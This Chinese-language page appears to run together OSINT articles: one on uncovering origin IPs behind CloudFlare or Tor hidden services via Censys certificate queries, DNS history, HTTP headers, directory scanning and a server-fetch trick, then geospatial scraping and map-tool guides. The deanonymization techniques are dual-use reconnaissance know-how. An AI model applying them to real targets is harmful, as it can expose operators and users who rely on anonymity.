甚至干脆删除安全运营商提供的隐藏真实原始IP的服务，或者将Tor提供的身份隐藏服务取消。

寻找隐藏在 CloudFlare 或 Tor 背后的真实原始IP的方法，会根据用户使用的服务或技术类型而异，例如，Tor 隐藏服务不存在MX记录，所以对它就要采取一种特殊的寻找IP的方法。

1、利用SSL证书寻找真实原始IP

1.1 使用给定的域名

假如你在 xyz123boot.com 上托管了一个服务，原始服务器IP是136.23.63.44。

而 CloudFlare 则会为你提供DDoS保护，Web应用程序防火墙和其他一些安全服务，以保护你的服务免受攻击。

为此，你的Web服务器就必须支持SSL并具有证书，此时CloudFlare与你的服务器之间的通信，就像你和 CloudFlare 之间的通信一样，会被加密（即没有灵活的SSL存在）。

这看起来很安全，但问题是，当你在端口**443**（"https://136.23.63.44:443"）上直接连接到**IP**时，**SSL**证书就会被暴露。

此时，如果攻击者扫描 0.0.0.0/0，即整个互联网，他们就可以在端口443上获取在 xyz123boot.com 上的有效证书，进而获取提供给你的Web服务器IP。

目前 Censys 工具就能实现对整个互联网的扫描。

Censys 是一款用以搜索联网设备信息的新型搜索引擎，安全专家可以使用它来评估他们实现方案的安全性，而黑客则可以使用它作为前期侦查攻击目标、收集目标信息的强大利器。

Censys 搜索引擎能够扫描整个互联网，Censys 每天都会扫描IPv4地址空间，以搜索所有联网设备并收集相关的信息，并返回一份有关资源（如设备、网站和证书）配置和部署信息的总体报告。

而攻击者唯一需要做的就是把上面用文字描述的搜索词翻译成实际的搜索查询参数。

xyz123boot.com证书的搜索查询参数为：`parsed.names: xyz123boot.com`

只显示有效证书的查询参数为：`tags.raw: trusted`

攻击者可以在 Censys 上实现多个参数的组合，这可以通过使用简单的布尔逻辑来完成。

组合后的搜索参数为：`parsed.names: xyz123boot.com and tags.raw: trusted`

「图」

「图」

Censys 将向你显示符合上述搜索条件的所有标准证书，以上这些证书是在扫描中找到的。

要逐个查看这些搜索结果，攻击者可以通过单击右侧的“Explore”，打开包含多个工具的下拉菜单。

选择 What's using this certificate? 」 IPv4 Hosts.

「图」

「图」

此时，攻击者将看到一个使用特定证书的IPv4主机列表，而真实原始IP就藏在其中。

「图」

「图」

你可以通过导航到端口443上的IP来验证，看它是否重定向到xyz123boot.com？或它是否直接在IP上显示网站？

1.2 使用给定的 **SSL** 证书

如果你是执法部门的人员，想要找出一个隐藏在cheesecp5vaogohv.onion 下的儿童色情网站。

最好的办法就是找到其原始IP，这样你就可以追踪到其托管的服务器，甚至查到背后的运营商以及金融线索。

隐藏服务具有SSL证书，要查找它使用的IPv4主机，只需将”SHA1 fingerprint”（签名证书的sha1值）粘贴到 Censys IPv4 主机搜索中，即可找到证书，使用此方法可以轻松找到配置错误的Web服务器。

2、利用**DNS**记录寻找真实原始**IP**

CloudFlare 里含有DNS记录，利用 Censys 这样的工具，就可以找到存在于web服务器中的DNS记录。

利用 SecurityTrails 平台，攻击者就可以精准的找到真实原始IP。

他们只需在搜索字段中输入网站域名，然后按 Enter 键即可，这时“历史数据”就可以在左侧的菜单中找到。

「图」

「图」

即使是当前的记录也可能泄漏原始服务器**IP**。

例如，MX记录是一种常见的查找IP的方式。如果网站在与web相同的服务器和IP上托管自己的邮件服务器，那么原始服务器IP将在MX记录中。

3、利用 **HTTP** 标头寻找真实原始**IP**

借助 SecurityTrails 这样的平台，任何人都可以在茫茫的大数据搜索到自己的目标，甚至可以通过比较HTTP标头来查找到原始服务器。

特别是当用户拥有一个非常特别的服务器名称与软件名称时，攻击者找到你就变得更容易。

如果要搜索的数据相当多，如上所述，攻击者可以在 Censys 上组合搜索参数。

假设你正在与1500个Web服务器共享你的服务器HTTP标头，这些服务器都发送的是相同的标头参数和值的组合。

而且你还使用新的PHP框架发送唯一的HTTP标头（例如：X-Generated-Via：XYZ 框架），目前约有400名网站管理员使用了该框架。

而最终由三个服务器组成的交集，只需手动操作就可以找到了IP，整个过程只需要几秒钟。

例如，Censys 上用于匹配服务器标头的搜索参数是 `80.http.get.headers.server:`，

查找由 CloudFlare 提供服务的网站的参数如下：

```
80.http.get.headers.server: cloudflare
```

「图」

「图」

4、利用应用和服务寻找真实原始**IP**

由Tor隐藏服务或通过 CloudFlare 提供的网站是一个普通网站，而

HTTP服务器之类的标头可用于查找正在使用的服务和版本的可能存在的漏洞。

当攻击者获得对服务器的访问权限时，你显然可以轻松找到IP。

另一种尝试是找到可能触发漏洞的提示信息，错误消息就可以显示敏感信息。这些信息可以只是IP本身，也可以是任何参数信息。

在重新调试阶段运行 gobuster 以查找文件和目录，这个过程应该在每隔一段时间进行一次。

攻击者可以找到的内容是日志，数据库转储或备份等等。

此时攻击者会看看是否可以让为网站提供支持的应用程序与其他服务进行交互，如果你不是执法机构，如果用户只是在使用**API**，你可能无法获得**IP**。

但作为本文的案例，也许攻击者可以在网站上设置一个头像并提供图片的**URL**而不是上传它。

如果用户正在下载它，则他们可能是从其原始服务器进行的。此时，IP就会出现在日志中。

5、利用网站返回的内容寻找真实原始**IP**

如果原始服务器IP也返回了网站的内容，那么可以在网上搜索大量的相关数据。

浏览网站源代码，寻找独特的代码片段。

在 Java 中使用具有访问或标识符参数的第三方服务（例如 Google Analytics，reCAPTCHA）是攻击者经常使用的方法。

以下是从 HackTheBox 网站获取的 Google Analytics 跟踪代码示例：`ga('create', 'UA-93577176-1', 'auto');`

可以使用 `80.http.get.body`:参数通过 body/source 过滤 Censys 数据。

不幸的是，正常的搜索字段有局限性，但你可以在 Censys 请求研究访问权限，该权限允许你通过 Google BigQuery 进行更强大的查询。

Shodan是一种类似于Censys的服务，也提供了 `http.html`搜索参数。

搜索示例：https://www.shodan.io/search?query=http.html%3AUA-32023260-1

「图」

「图」

最后

找到 Tor 隐藏服务或类似 CloudFlare 的反向代理服务背后的真实IP需要对**web**有一定的了解，也需要一定的创造力。

x0rz 写的 保护web隐藏服务 介绍了 Tor 隐藏服务运营者针对本文中提出的几种方法的应对策略。

其中包含了一些失败对策，隐藏服务并没有做好 OPSEC（操作安全），导致可以被监视者定位。

整篇文章是关于由于网站管理员犯的错误而到导致被找到真实IP，绝对不是 CloudFlare 的错误。

例如，当MX记录暴露真实IP时，你甚至会收到警告。最重要的是，CloudFlare 鼓励你将他们的IP列入你的web服务器的白名单，这样就不会在IP上公开你的网站或域名证书。

他们还有一项名为 Argo Tunnel 的服务，Argo Tunnel 会在你的服务器和 CloudFlare 之间建立隧道，意味着你根本不必公开你的web服务器。

CloudFlare 可能是此类别中最受欢迎的产品，这就是它在一些示例中被使用的原因。你也可以使用其他类似的服务代替 CloudFlare。

操作安全是需要随时强调的《使用 Tor 保护自己时千万不要做这九件事》

Finding The Real Origin IPs Hiding Behind CloudFlare or Tor 广告

原文

如何抓取交互式地理空间数据？ #OSINT - iYouPort

开源情报-每个人都可用的武器

对于开源调查来说，技术工具很重要

「图」

This powerful interactive map shows historical events from Pearl Harbor

除了极少数例外，浏览器中显示的所有内容都可以下载并转换为可用的数据格式，许多组织或个人都可以维护包含有价值信息的复杂且可公开访问的数据集。尽管可公开查看，但在许多情况下，基础数据无法下载和进一步分析。本指南将重点介绍如何抓取可探索但无法导出用于个人分析的地理空间数据，以及介绍存储在公共服务器上并可通过应用程序编程接口（API）访问的数据库的一些概念。

这个指南将侧重于下载地理空间数据，但希望其中一些概念也适用于以类似方式存储的其他数据格式。

为什么要刮取地理空间数据？

您希望这样做可能有几个原因，其中最重要的原因是对数据进行进一步的分析。

- 更深入的分析

土耳其库尔德人占多数的省份被夷为平地的互动地图可以让您了解到被清理区域的范围和位置; 但是，通过抓取和下载数据，可以更加严格地进行分析，例如，与人口普查有关的数据或在大清洗前安装的临时障碍物上的遥感数据。

您还可以找到以色列和约旦河西岸之间隔离墙的互动地图。通过下载数据，您可以查看与1948年绿线相关的数据，并创建一张地图，显示以色列在隔离墙和绿线之间“附加”的区域，或者通过它们与隔离墙的

距离分析事件发生的位置。

显然，其他大型群体事件、大型事故等方面的调查均需要这样的分析。

- 地理定位镜头

此外，抓取可用于地理定位素材。如果您正在分析来自利比亚的视频，其中高压电线穿过高速公路，则可以找到利比亚能源基础设施的交互式地图，并进行进一步的 GIS 空间分析，以隔离这些电力线穿过高速公路的位置。

- 存档数据

除了分析目的之外，为了存档它们，这些交互式地图也很重要。我们试图找到两个特定的交互式地图，一个出现的比较早，非暴力的抗议活动，发生在叙利亚内战开始前，另一个是 Caerus Group 在 2013 年展示的阿勒颇市检查站的位置和群控。这两张地图都不再被维护，无法访问，因此这些信息丰富且可能很重要的数据已基本丢失。

你需要什么

- 谷歌浏览器 谷歌的 Chrome 浏览器包含了一些可隔离有用信息包的工具，并且通过有限的数据转换，它们可以转换为常见的文件类型，例如 CSV 文件；
- Notepad ++ 或任何其他允许您使用正则表达式（RegEx）搜索工具的程序；
- Excel 等效的“表格”或其他电子表格程序；
- 用于可视化的一个映射程序（ArcMap [付费软件]，QGIS 或 Google Earth Pro）

值得注意的是，数据架构极其多样化，呈现数据所需的准备工作因几乎每个数据集而异。没有一种方法可以做到这一点，但所有必要的程序都有非常强大的在线支持，可以指导您完成所有需要做的事。这很重要。

指南

以下是如何获取不可公开下载的数据的分步指南。将通过使用三个不同的数据集来完成，从简单的地图数据下载（ACLED 的伊拉克危机数据）到更复杂的数据（医生促进人权协会显示的叙利亚医疗设施的攻击，以及中欧大学显示的对阿勒颇项目的攻击）。

ACLED 数据

一个很好的介绍性数据集是 ACLED Dashboard。这些数据可以公开访问，并且它也是一个有用的学习工具，显示了需要处理的数据量。

第一步是右键单击页面上的任意位置并选择“Inspect”，或按 Ctrl ＋ Shift ＋ i（在 PC 上）。

然后第二步，一旦出现对话框，导航到“网络”选项卡。它应该看起来像这样：

「图」

下载数据

在上面的地图上导航到伊拉克; 如果您放大并移动地图，应该看到编号的 PNG 图像文件级联到网络表 — 这些是基本地图的图块。网络选项卡基本上显示了您在浏览时由网站启动或下载的每个文件或脚本。隐藏在网站代码中的是启动进一步下载的脚本。您可以在“网络”选项卡表的“Initiator”行中看到这些脚本; 例如，基本地图 PNG 图像文件由“ leaflet.js：5 ” 启动，它告诉 Carto 您要查看哪些文件。

点击伊拉克加载伊拉克事件。您将看到一个以“read.csv”开头的文件 — 这是您想要的数据，它链接到您的 URL 是：

https://api.acleddata.com/acled/read.csv?limit＝0&country＝Iraq&fields＝iso%7Cactor1%7Cactor2%7Cevent_date%7Cevent_type%7Cinteraction%7Cfatalities%7Clatitude%7Clongitude%7Cadmin1

分析这个链接给出的内容。

首先，它将我们链接到 ACLED API，它允许您查询在线数据库以下载相关数据。每个特定的 API 都应该有一个用户指南，以确切了解可以使用它做什么; 但是，ACLED 与拥有自己的 API 的大多数数据集不同。大多数数据集是由第三方 API 托管的单个数据库或表，但现在我们关注简单的 ACLED 数据集。如果您只是导航到“ https://api.acleddata.com/acled/read.csv ”，它将自动下载输入 ACLED 数据库的最新 500 个事件的 CSV 文件，可以在 Excel 或其他电子表格中查看程序。

“read.csv”之后的 URL 告诉 API 你想要什么。“limit ＝ 0”表示查询将

返回所有匹配的数据 — 您可以使用任何数字来下载所需的行数。下一个选项是将搜索限制为单个国家/地区。这可以更改为任何国家或添加其他限定符; 例如，如果您在“Iraq”和“ & fields”之间插入“ & event_type = Riots / Protests ”，则只会下载 Protest 或 Riots 事件。你可以为当事人或地点做类似的修改，例如.....

https://api.acleddata.com/acled/read.csv?limit=0&country=Iraq&location=mosul&fields=iso%7Cactor1%7Cactor2%7Cevent_date%7Cevent_type%7Cinteraction%7Cfatalities%7Clatitude%7Clongitude%7Cadmin1

..将导致仅下载编码为在摩苏尔发生的事件。

“ & fields =”之后的 URL 告诉 API 要包含哪些列。这是重要的，因为它与没有自己专用 API 的数据库更相关。在这个 %7C 中间是文本编码 | 字符，分隔不同的列。在这种情况下，您将获得iso，actor1，actor2，event_date，event_type 等。如果存在不需要的列，则可以从 URL 中删除它们，以使数据更简单。在这种情况下，由于 API 文档可用，您还可以添加 %7Ccountry%7Cnotes 等字段以获取更多信息。

此时，作为测试，如果您转到此 URL，请尝试确定要下载的事件：

https://api.acleddata.com/acled/read.csv?limit=0&admin1=sulaymaniyah&event_type=Riots/Protests&fields=country%7Cevent_date%7Cevent_type%7Clatitude%7Clongitude%7Cnotes

然后下载 CSV 并检查文件是否符合您的想法。您应该有一个包含所有重要列的 CSV 文件，包括纬度和经度，可用于将文件导入 Google Earth Pro 或任何 GIS 程序。.

袭击叙利亚卫生保健设施

现在我们尝试一个更难的数据集。

医生促进人权协会维护了叙利亚卫生保健设施的互动地图。这是一张详细的地图，通过点击“事件”，您可以看到有关每个活动的更多信息。所有这些数据都是可下载的，要刮一下。#再次进入 Inspect」Network。

- 刷新页面以清除加载页面时显示的所有数据。这个清单比较复

杂。花点时间找到合适的项目。通常，您可以搜索 JOSN，CSV 或 SQL，其中一个将具有您想要的数据，但在这种情况下，唯一的命中是“SQL”，这是关于加载Tiled Map Server Basemap的全部内容。

1. “\|| 「Placemark」\n 「name」”. This replaces any | character with the above string.

- “\?|「/name」\n 「styleUrl」#m_ylw-pushpin「/styleUrl」\n 「Polygon」\n 「tessellate」1「/tessellate」\n 「outerBoundaryIs」\n 「LinearRing」”. Likewise, this replaces the ? character with the above code, the following two commands do the same with ! and # characters.
- “\!| 「coordinates」\n “
- “0\#|0\n 「/coordinates」\n 「/LinearRing」\n 「/outerBoundaryIs」\n 「/Polygon」\n 「/Placemark」\n”
- “「/Placemark」\n\n 「Placemark」|「/Placemark」\n 「Placemark」”. This command simply removes an empty line between XML codings.

在所有这些中，重要的是复制 | 之间的所有文本，符号和选项卡以及结束引号。

复制并粘贴 KML 文件的开始和结束标记，最好从模拟的 kml 文件中复制并粘贴它们，它们看起来应该是这样的：

「?xml version＝”1.0″ encoding＝”UTF-8″?」

「kml xmlns＝”http://www.opengis.net/kml/2.2″
xmlns:gx＝”http://www.google.com/kml/ext/2.2″
xmlns:kml＝”http://www.opengis.net/kml/2.2″
xmlns:atom＝”http://www.w3.org/2005/Atom”」

「Document」

「name」tmp.kml「/name」

「StyleMap id＝”m_ylw-pushpin”」

「Pair」

「key」normal「/key」

「styleUrl」#s_ylw-pushpin「/styleUrl」

「/Pair」

「Pair」

「key」highlight「/key」

「styleUrl」#s_ylw-pushpin_hl「/styleUrl」

「/Pair」

「/StyleMap」

「Style id＝”s_ylw-pushpin_hl”」

「IconStyle」

「scale」1.3「/scale」

「Icon」

「href」http://maps.google.com/mapfiles/kml/pushpin/ylw-pushpin.png「/href」

「/Icon」

「hotSpot x＝”20″ y＝”2″ xunits＝”pixels” yunits＝”pixels”/」

「/IconStyle」

「PolyStyle」

「color」7fffffff「/color」

「colorMode」random「/colorMode」

「/PolyStyle」

「/Style」

「Style id＝”s_ylw-pushpin”」

「IconStyle」

「scale」1.1「/scale」

「Icon」

「href」http://maps.google.com/mapfiles/kml/pushpin/ylw-pushpin.png「/href」

「/Icon」

「hotSpot x＝”20″ y＝”2″ xunits＝”pixels” yunits＝”pixels”/」

「/IconStyle」

「PolyStyle」

「color」7ffffff「/color」

「colorMode」random「/colorMode」

「/PolyStyle」

「/Style」

「Folder」

「name」Aleppo_Neighbourhoods「/name」

「open」1「/open」

开始部分还有…

「/LinearRing」

「/outerBoundaryIs」

「/Polygon」

「/Placemark」

「/Folder」

「/Document」

「/kml」

现在尝试将其保存为 KML（在下拉菜单中选择可扩展标记语言文件并在保存对话框中将 “xml”替换为 “kml”）在 Google Earth 中打开它以查找任何错误。

「图」

要诊断需要找到第 259 行，看看有什么不对。这里很容易看到：

「图」

在 find 和 replace 标签中，因为行以 “）”结尾，所以它没有收到名称结束标记（“？”）。因此，它缺少 「name」 标记和 「coordinates」 标记之间的几行 XML 编码。解决此问题的最快方法是手动复制和粘贴缺失的行，但如果您的数据集有很多以结束括号结尾的名称，您可以在用于添加名称结束标记的“Find and Replace”中包含它，例如使用命令 “([a-z]|\))\n|\1\?\n”。我的数据集对于另外 6 个或 7 个条目具有相同的错误，但都通过了对缺失行的简单复制和粘贴得以修复。

通过它，您可以在单个 KML 文件中包含所有多边形条目，该文件可以在 Google Earth 中打开或导入到其他 GIS 程序中。

「图」

这些是关于如何刮取公共地理空间数据以供您自己分析的一些示例。可用于交互式地图中大多数数据集。有一些例外，ArcGIS 和 QGIS 的本机平台通过 Web 地图服务器隐藏其数据，因此无法下载基础数据。此外，几乎每个数据集都以不同的方式组织数据。

希望这些基础知识可以帮助您开始学习刮取数据所需的技能，但每个数据集都有各自不同的挑战。找到您自己喜欢的交互式地图，看看您可以从中提取哪些数据。这是很好的练习。

如果你想要一个真正的挑战，到目前为止我认为最困难的数据集是菲律宾棉兰老岛穆斯林自治区（ARMM）的犯罪信息事件数据库。有兴趣的朋友不妨试试看，可以将您的操作分析写成文章发给我们。好运！

感谢 bellingcat 的技术分析。支持 #OSINT 民间独立调查，捍卫公民

知情权，随时欢迎您的开创性思路。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

如何拥有上帝的眼睛：监视、追踪、导航、回溯、阴影识别…… 这是您需要了解的一切-最大限度挖掘地图的能力 *完整手册*

开源情报-每个人都可用的武器

【2020年10月20日存档】不论是追踪调查、信息真伪验证、收集证据、还是为日常生活的便利，地图和卫星图像都是非常重要的工具。本文是对此的详细介绍，是该领域一份比较完整的手册

地图和卫星图像有多重要，就不必细说了。它们不仅可以让您获得对一个目标区域了解，而且还可以帮助您建立信息之间的联系。

在地图上添加更多信息可以帮助您建立对调查可能很有价值的联系。地图和卫星图像还可以让您越过围墙，观察那些因受到限制或不安全等原因而难以进入的地方 —— 比如新疆、也门、叙利亚，或者远离您所在的地方所发生的事 —— 全世界的任何地方。

任何可以参照某一特定地方的数据都可以添加到地图上。这包括自然特征，如河流、海岸线和海拔；行政数据，如国家轮廓、县界和城市边限；航拍照片，无论是来自卫星、无人机、气球还是风筝；以及包含位置信息的数据库，如一个地区所有医院的地址，或城市列表及其人口规模。

大量的此类数据可以在网上免费找到，通常已经组合成地图。如果您能够使用可访问的数据可视化和地理信息系统（GIS）软件，自己组装这些不同的数据集，就可以获得更多的地理信息。

您还可以生成自己的地域数据集和图像，然后用来制作地图。您可以使用无人机、气球或风筝创建自己的航空图像，并使用卷尺、纸和笔等简单的工具，利用基本的测量技术制作地图，或添加到现有的地图中。

另外，您还可以使用手机的GPS和其他定位工具来追踪自己的位置、

准确定位对您的调查很重要的地方。

只要您的调查具有地理或空间因素，地图就会很有用。

- 也许您所在的城市存在空气污染问题，而您想了解不同街区的污染程度有何不同；
- 也许您正在研究木材的供应链，并想检查原木是否来自受保护区域的树木 —— 通过跟踪这些原木所走的路线，您可以了解它们可能来自哪里，并确认这些树木是否被非法砍伐；
- 您可能想比较居住在城市不同地区的人口信息，以及逮捕率和警察暴力事件的发生率；
- 您可能还想看看一个物理区域随着时间的推移而发生的变化 —— 森林面积随着树木被砍伐而缩小、城市在地震后重建时增加了建筑物、强拆和武装暴力如何导致历史建筑的损坏、经济政策如何破坏了耕地 ……

地图、卫星图像和地理数据 —— 关于地理位置的数字信息 —— 在调查这些主题和许多其他主题时，都非常有用。

📌 本文将帮助您探索您可以利用地图、地理数据和卫星图像实现什么。您还会发现一系列工具和可用的地理信息来源的参考资料和案例，这些工具和来源可以帮助您进行调查。

虽然这些工具和资源的复杂程度和目的各不相同，但您可以选择那些对您最重要的工具和资源 —— 无论您是需要绘制尚未在地图上呈现出来的具体要素，还是需要了解跟踪各种运输路线的方法，或者是需要探索卫星图像如何作为证据加强您的调查。

以下部分适用于那些时间有限、无法专心学习新技能的人，提供您可以直接去用的东西。您还将了解到广泛的工具所提供的可能性，以帮助设计您的调查，并与更专业的同事进行有效的合作。

对于那些有更多经验或有更多时间致力于学习新技能的人来说，此处的内容概述了可访问的技术，并提供了有关如何使用这些技术的明确指南，还有很多指向可能有用的资源和工具的链接，您可以随意取用。

本章工具和技术所需的主要软件有：网络浏览器、电子表格或数据库应用程序（Excel、LibreOffice Calc）、Google Earth Pro（免费），有具体介绍。重点是免费、相对直观、和能够快速学习的软件。

地理信息无处不在

「图」

您可能已经对一些常见的地图应用很熟悉了，手机上至少有一款是您经常使用的。但这并不意味着您擅长使用它们来进行调查 —— 即使是这种基本的工具，也能对规划和开展调查有所帮助。

许多这样的应用程序都具有允许您搜索某个地方的照片、或查找360度地面视图的功能。当您启程之前熟悉目标地区、寻找位于该地的公司地址、或者了解某个时间发生的事件时，这些功能都很有用。

地图应用中的路线规划器可以帮助您规划行程，还可以核实具体行程的时间、交通工具、路线选择和费用。

通常，调查具有至少一个地理成分。

在大多数情况下，您正在调查的公司在某地设有实体或注册办事处，而且可能在某个特定地点开展业务；您要调查的人很可能会留下实物或数字痕迹，这些痕迹可以追溯到特定的地点 —— 例如，目标旅行的照片或社交媒体发布的帖子 …… 等等。

虽然在某些调查中，地理定位可能比其他调查更明显重要 —— 例如，森林砍伐与某一地点有明确的联系 —— 但是绘制地图、使用地理数据和地理定位证据往往有助于核实或质疑信息来源。也就是我们在 “让它民主” 板块中介绍的公民判断信息真伪的方法中重要的一环。

地理数据基本上是指直接链接到自然位置或地理位置的数字信息。它有很多免费的在线可用资源，并且通常已经可视化，因此在研究某些主题或寻找调查数据时，您可能想要探索并利用这些资源。

其中有些资源您可能已经在日常生活中使用了，但还没有应用到您的调查中。天气数据就是一个典型例子。当前的天气预报可以帮助您制定生活计划，而如果您掌握了某地某时天气的历史数据，则可以帮助您核实一个信息的真伪。

土地使用数据、分区地图（用于城市规划）和建筑许可证显示了土地所有权和特定地点的规划许可（关于一个地区是否可以用于住房、公园、工业活动等）。社交媒体的帖子和照片通常也可以通过其位置元数据链接到特定的地点和时间，这可以帮助您核实在那里发生的事和

具体事发时间。

📌 上述所有这些都是地理数据。我们的 列表-5 独立板块“侦探挑战” 系列中所收纳的追踪调查演示对地理数据的使用非常丰富，您可以参考。

有很多公共数据库具有地理参考价值或意义。其中许多数据库需要使用地图进行可视化才能理解，它们可能会给您的研究增加新的视角。

通常，在地图上显示数据库中的信息有助于理解这些信息。有些信息 —— 如受保护生态系统的边界或某国所有医院的坐标表 —— 只有放在地图上查看才能正确理解。

其他信息，如显示全球婴儿死亡率的电子表格，其原始形式可能是可以理解的，但是将其放在地图上可以成为分析模式的宝贵方法（其他数据可视化技术可能会揭示更多模式）。

在许多情况下，提供该信息的组织在其网站上都有自己的地图，您可以将其作为出发点或作为灵感或参考。

📌 示例

「图」

例如，世界银行有大量的公开数据集和在线数据可视化工具，使您能够在地图上以及以表格和图表的形式查看信息。世界发展指标 (WDI) 是其收集的众多数据集中的一个例子。

您也可以下载电子表格格式的数据，制作自己的地图。

在其他情况下，生成自己的地图和地理数据、绘制简单的图形或测量和分析地图和卫星图像上的事物，以标记您调查感兴趣的区域，对调查来说都会很有帮助。

在网站提供数据集下载的地方，有许多直接的工具可以帮助您用它们创建自己的地图。

在现有的地图和卫星图像中绘制和测量事物，可以帮助您跟踪感兴趣的地方，并提取更多的信息，例如，物体的大小/变化，如森林中不断增长的空地，或估计距离或旅行时间。

同样，跟踪您的路线或位置并将其放在地图上，或进行简单的调查，

是收集和跟踪与您的调查有关的信息的一种方便的方法。

互联网提供了大量的近期和历史的高质量卫星图像。

这种图像具有绘制地图的许多优点，而且往往显示出更多的细节和特征，这些细节和特征可能是地图制作者认为不重要的，但对您的调查来说很有用。

您正在调查的地区的典型地图可能不会显示从港口通往附近工厂的管道（反过来揭示您正在追踪的棕榈油的取材地）；但是，这些信息可能会出现在高分辨率的卫星图像中。

再比如，有了一系列相隔数月拍摄的卫星图像，就有可能跟踪战区的破坏情况、自然灾害后重建的进展情况，或建造河坝对自然生态系统的影响情况等。

从基准图和照片中收集证据

「图」

基准图显示了河流、山丘、海岸线等重要的自然特征，以及建筑物、道路、小路等，再加上地名、街名，对寻路来说往往很有用。当然对信息验证来说也很有用 —— 您能知道发布者声称的事发地点是否有假。

- 《“反歧视冲突”？非洲人和中国人之间的暴力视频是真的吗？》超级简单的验证方法

您可能对诸如 OpenStreetMap（OSM）和 Google Maps 之类的应用程序中的此类地图已经很熟悉了。

这些地图可用于查找地址、规划路线，以及查找某个地方有哪些公司、组织和服务。在许多情况下，这些网站和应用程序将包含额外的服务，如卫星图像，地方的街道视图，详细的路线规划和地理定位的照片或视频。

📌 以下是一些常见的基准图平台和应用程序，你可以使用。

常见的地图平台和应用

「图」

Google Maps

除了基本的地图和搜索功能外，谷歌地图还有许多对调查有用的功能。它可以让您详细地规划路线，查看详细的卫星图像，记录自己的行程，找到与某个地方相关的照片等。

通过街景功能，您可以看到地面的360度图像，对于某些地点，还可以识别该地点的历史性变化，例如，街道上的新建筑是如何增加或被拆除的，或者绿地是如何被修改的。

在下文的谷歌街景部分将详细介绍如何使用该工具。

Google Earth (Pro)

Google Earth 有很多版本，包括在 Chrome 浏览器中运行的标准版。本文将使用专业版，它需要从上面的链接下载并安装到您的计算机上。

Google Earth 使用卫星图像，而不是基准图作为背景。它提供了许多谷歌地图所没有的功能，包括历史卫星图像以及地形和建筑物的3D模型。

地图上显示的信息被组织成一个个图层，这些图层可以被打开和关闭，这样您就可以只看您需要的信息。

现有的图层包括：行政边界（国家、地区、县等的轮廓）、道路和地名，以及一些更专业的图层，如美国国家公园。也可以在 Google Earth 中添加新的图层。

Waze

Waze 是一款导航和实时交通应用，适用于具有GPS功能的手机和平板电脑（Android 和 iOS）。

它是在2006–2009年间作为一个社区驱动的地图项目开发的，并在2013年被谷歌收购。不过，它仍在运营其独立的地图，并提供从用户那里收集到的实时交通信息、行车时间、地图数据（如道路、地标和房屋门牌号码），还有其他数据（如 交通堵塞和事故的实时数据）。

Bing Maps

Bing Maps（由微软拥有）提供卫星视图、鸟瞰图和道路视图，以及

街景图等给您。它在街道交通（使用地图上方的红绿灯图标）和出行规划方面的数据尤为强大。它的地图是由HERE（以前属于诺基亚）、邮政数据、交通更新、路线查找信息、图像和其他专有来源的数据提供的。

HERE WeGo

基于必应地图也使用的 HERE 技术（见上文），HERE WeGo（由 HERE Technologies 拥有）是另一个免费的地图和导航平台，提供类似的功能：卫星视图、地形视图、路线规划和交通状况数据。

OpenStreetMap

OpenStreetMap (OSM) 是一个通过众包 (来自大量的人和团体/组织的合作贡献) 创建的免费地图平台，在这一点上，它不同于上述的专有地图资源。

这也意味着，您可能需要通过检查其他地图和确认您需要调查的地方的地理数据来验证您在这上面找到的任何信息。

OSM对于世界上的某些地方来说，并没有完全完成，但它通常被认为是可靠的，许多其他地图应用程序，如 Mapbox 或 Ushahidi，都使用它的数据。

在某些情况下，OSM中的信息可能比其他地图中的信息更多。

OSM有几个专门的图层，可以通过屏幕右侧的图标进入，例如自行车路线等；它还有一个人道主义图层，显示了流离失所者营地的位置等细节，被人道组织用于规划和协调反应。

如果这些信息与您的工作相关，OSM是一个很好的起点。

□ 实践示例 ——

「图」

2009年，一群年轻的肯尼亚人利用 OpenStreetMap 制作了该国首都内罗毕的一个街区—基贝拉贫民区的第一张地图。在此之前，基贝拉在内罗毕的地图上一直是一片空白，即使是居民也只能获得有限的信息，知道在哪里可以找到一家开门的药店、一个紧急情况下的医疗点、或附近的清洁水源。

当地居民的一项倡议改变了这一切 —— “基贝拉地图” 项目http://mapkibera.org/ 与社区合作，创建了一个可靠且不断增长的街区数字地图。目前这一概念正在扩大，以涵盖地图上被遗漏的其他边缘化社区。

OsmAnd

OsmAnd 是一个可行的开源选择，它使用 OpenStreetMap 的数据库，但独立于 OSM。

它提供 Bing 的卫星视图。它的移动应用（适用于 Android 和 iOS）可完全脱机工作，除了路线规划和导航，还包括徒步、登山和自行车道。

如果您需要绘制越野的地形图，它可以特别有用。

Open CPN

Open CPN (Open Chart Plotter Navigator) 是由一个活跃的水手团队开发的开源自由软件，目的是改善水域的测绘。它由用户不断更新和测试，提供导航和路线规划支持，以及有关天气状况和潮汐的数据，跟踪其他船只，避免可能的碰撞等。

如果您的调查或旅程发生在水上，这可能是一个很好的平台工具，您可以按照 Open CPN 的启动页面上的安装和用户指南操作。

它需要安装，可用于 Linux、Mac、Windows 和树莓派设备。

Yandex Maps

YandexMaps 是一个俄罗斯的网络地图服务，可以在全球范围内使用，但总体上比谷歌地图的覆盖范围有限。它只有俄罗斯、白俄罗斯、乌克兰、土耳其和哈萨克斯坦的详细地图，但值得与其他地图平台对比查看，因为它可能会提供额外的细节，特别是在上述这些地区。

Baidu Maps

百度地图由中国公司百度拥有，在查询中国的地点时特别有用，它提供的覆盖范围比谷歌地图更详细，如果您的调查目标是中国的话。

它包括卫星图像、街道地图、街景，以及步行、汽车或公共交通出行

的路线规划。它在移动端和桌面端都可以使用。

CartoDB

Carto 宣传自己是世界领先的位置情报平台。他们提供网络地图、地理信息系统、空间数据等功能。他们提供的各种工具都易于使用和网页亲和力。

然而，该服务的价格是200美元/月。有免费的选项给学生使用，可寻找 CartoBuilder 和 Github 学生开发者包。他们还为教育工作者、创业公司和非营利组织提供折扣和补助。

他们还提供免费的 Carto Basemaps。Carto 以支持SQL数据库和强大的可视化组件而闻名。

Mapbox

Mapbox 可以在自定义的地图块上绘制数据点，使您可以用数据讲述故事。能够创建标记、热图和色谱图。

TileMill

Tilemill 是自由开源软件，可以让您使用 CartoCSS 来定制地图。CartoCSS 是一种地图设计语言，有了它 TileMill 可以用来创建符号图、轮廓图和伪热图。

查找特定地点的图像

「图」

最新的图像可以帮助您在计划研究旅行时熟悉一个地方，而当前和历史的图像可以帮助您了解该地方在某一特定时间点发生的事。

1、使用 Google 图片搜索

「图」

在 Google 图片中搜索位置名称是查找该位置图像的最直接的方法之一。

也可以搜索从特定国家上传的图片。📌 请注意，这并不一定意味着这些图片都是您指定的国家的，而是意味着它们是从该国的一个IP地

址上传的。

